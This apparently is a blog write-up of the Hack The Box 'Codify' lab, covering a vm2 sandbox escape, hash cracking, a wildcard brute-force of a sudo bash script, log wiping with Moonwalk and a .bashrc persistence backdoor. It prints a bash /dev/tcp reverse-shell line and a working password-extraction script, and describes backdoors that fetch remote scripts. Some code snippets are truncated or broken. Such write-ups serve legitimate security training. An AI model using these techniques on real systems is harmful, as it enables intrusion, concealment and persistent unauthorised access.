top of page
  • BlueDolphin

Hack The Box Machine Write-Up: Codify

Checkout my YouTube Video Writeup
Engagement Flow

Tools used
  • John

  • Chat GPT

  • Moonwalk

  • Remote code execution

  • Hash cracking

  • LMP AI script generation

  • Covering our tracks - with Moonwalk

  • Persistence - bashrc backdoor one liner



1) Enumeration - Host

  • Port 22 - ssh

  • Port 80 - http

  • Port 3000 - ppp

  • Port 8080 - http - proxy

2 ) Enumeration - Web Application

  1. Browse to the application

  2. View the limitations page

  3. View the About Us page

  4. View the VM2 page

  5. Tinker with the node js sandbox environment

3) Initial Access & Horizontal Movement

  1. Research known vm2 sandbox CVE's

  2. Find reverse shell without file read and child process library calls

  3. Execute reverse shell through the editor

  4. Obtain access as low level user

  5. Manually look through var/www

  6. Locate and crack hash in /var/www/contacts/tickets.db

4 ) Privilege escalation

  1. Review sudo -l output

  2. Script analysis

  3. Vulnerable script identification

  4. Generate script to uncover password

5) Post Exploitation

  • Covering our tracks with moonwalk

  • Persistence by adding a backdoor to the bash.rc file


Enumeration - Host


22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 96071cc6773e07a0cc6f2419744d570b (ECDSA)

|_ 256 0ba4c0cfe23b95aef6f5df7d0c88d6ce (ED25519)

80/tcp open http Apache httpd 2.4.52

|_http-server-header: Apache/2.4.52 (Ubuntu)

|_http-title: Codify

3000/tcp open http Node.js Express framework

|_http-title: Codify

8080/tcp open http Node.js (Express middleware)

|_http-open-proxy: Proxy might be redirecting requests

|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I am initially feeling that our surface area of attack will be narrowed to the Node.js web application seen running on port 8080 and 3000.

Port 22 will be used for an SSH connection later in our engagement as per the usual HTB machine. Port 80 will is likely just for HTTP connections to the apache server and is not intentionally vulnerable here.

Enumeration - Web Application

Browsing to the application provides us with the landing page seen in the below image. At this point I am feeling very confident the attack surface is limited to this web application written in Node JS. It is very rare that we directly exploit or attack the underlying web server technology, in this case Apache.

We notice the web page talks about the purpose of the web application, being an experimental sand box to run code in Node.js. Following the limitations page URL we are able to learn more about our application as we start to strategize attack paths. We are presented with information on restricted and allowed modules. Allot of attack paths here would be prefaced with sandbox escaping followed by the goal to execute a reverse shell or write and read ssh keys. However with "child_process" and "fs" libraries black listed, we are limited.

Pivoting to the "About Us" page reveals the underlying technology "vm2". The VM2 library is commonly used for sandboxing JS scripting.

Exploitation Phase for initial access

I found this part to be enjoyable as I researched multiple attack paths and attempted different exploits. The CVE that was successful for me was CVE-2023-37903. It was not until I tried many other attack paths that I started to research Node JS Sandbox VM2 escaping CVE's and their payloads.

I eventually came across this github page with a payload that did not contain the libraries fs and child_process.

const { exec } = require('node:child_process')
exec('bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"', (err, result) => {
   if (err){
      console.error("Failed:", err)

Horizontal Movement

At this stage we have access to the host and we will start to enumerate the target machine looking for any possible attack surfaces that can be leveraged to move horizontally and acquire further privileges and access.

While using lin pease is usually my my go to for internal enumeration, I took a peak at the web application folder /var/www/contacts/ and as I went through each file, I found the tickets.db folder which contained hashed credentials.

var/www/contact$ strings tickets.db


From here we crack the password using john the ripper and pivot to user joshua.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt and we get the password spongebob1

Privilege Escalation

Because this was an easy machine, it is often the case that there is a sudo run as declaration in place that has to be pursued. In this case, we have a sql backup script that we can run as root.

joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass,
User joshua may run the following commands on codify:
    (root) /opt/scripts/

Diving into the script we start to analyze the code as we look for insecure coding, object calls or vulnerabilities. This script had me puzzled and I had to refer to the HTB forums to help me focus on the comparison operator == [[]]. In bash this apparently performs pattern matching and not string comparisons.

DB_PASS=$(/usr/bin/cat /root/.creds)

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
        /usr/bin/echo "Password confirmation failed!"
        exit 1

/usr/bin/mkdir -p "$BACKUP_DIR"

The vulnerability here, is that we can uncover the password by having the program check if a character is in the password, by performing a char + * argument, and the program will return true if the character is in the appropriate position in the password string. The path forwards here is to develop a script to pass the command run as sudo, and then loop through A-Z - 0-9 and append each character with a wildcard and a final check to see if it returned true and to out put this to the screen.

I worked with chat GPT and eventually had this script put together.

You can see above that the script worked through and output the password, however it did not properly end and continued to out put * symbols. Initially there were issues with treating user input as bytes and trying to encode and decode. As well, chat GPT had a hard time understanding that the wild card was to be appended with each character and iterated, but I eventually got it and learned allot about communicating with Chat GPT. The final script that work is below.

import subprocess
def run_command(command, password):
    process = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    output, _ = process.communicate(input=password + '\n')  # Pass the password as string directly
    return output
def main():
    final_password = ""
    characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789*'
    # Command to execute
    command = "sudo /opt/scripts/"
    while True:
        password_found = False
        for char in characters:
            test_password = final_password + char + '*'
            response = run_command(command, test_password)
            if "Password confirmed!" in response:
                print(f"Character '{char}' confirmed.")
                final_password += char
                print("Current password:", final_password)
                password_found = True
                break  # Move to the next character
        if not password_found:
            break  # Exit loop if no more characters are confirmed
    print("Final password:", final_password)
if name == "__main__":

From here we switch to user root and capture the flag.

Post exploitation

Covering our tracks with Moonwalk

Moonwalk is a 400 KB single-binary executable that can be used to clear traces during Linux Exploitation/Penetration Testing by leaving zero traces on system logs and filesystem timestamps. It saves the state of system logs pre-exploitation and reverts that state, including the filesystem timestamps post-exploitation, leaving zero traces of a ghost in the shell.

Moonwalk is not to be confused with Spacewalk, an open-source Linux systems management solution that is the upstream community project from which the Red Hat Satellite product is derived.


When a user logs into a system, their login shell, often Bash (/bin/bash), reads and executes the .bashrc file located in their home directory. Attackers can leverage this behavior to add a reverse shell or execute remote scripts.

  1. Understanding the .bashrc file: The .bashrc file contains configuration settings and customizations for an individual user's Bash shell. It is executed each time the user opens an interactive shell session, such as logging in via SSH or opening a terminal.

  2. Identifying the target user: We need to identify the target user whose .bashrc file they want to modify. This typically requires prior knowledge of which users regularly log into the compromised machine.

  3. Adding a reverse shell: A reverse shell allows us to establish a connection from the compromised system to their own system, providing them with interactive command execution on the compromised machine. Attackers can add a reverse shell one-liner to the target user's .bashrc file. This way, each time the user logs in, the reverse shell connects back to the attacker's machine.

  4. Executing remote scripts: Alternatively, instead of a reverse shell, attackers can modify the .bashrc file to execute remote scripts. This can be achieved using curl or other similar tools to download and execute a script from a remote server. By embedding this command in the .bashrc file, the script will be executed every time the user opens an interactive shell session.

  5. Maintaining persistence: By modifying the .bashrc file, the attacker ensures that their malicious code executes every time the user logs in. This allows the attacker to regain access to the compromised system repeatedly without raising suspicion.


7 views0 comments

Recent Posts

See All


bottom of page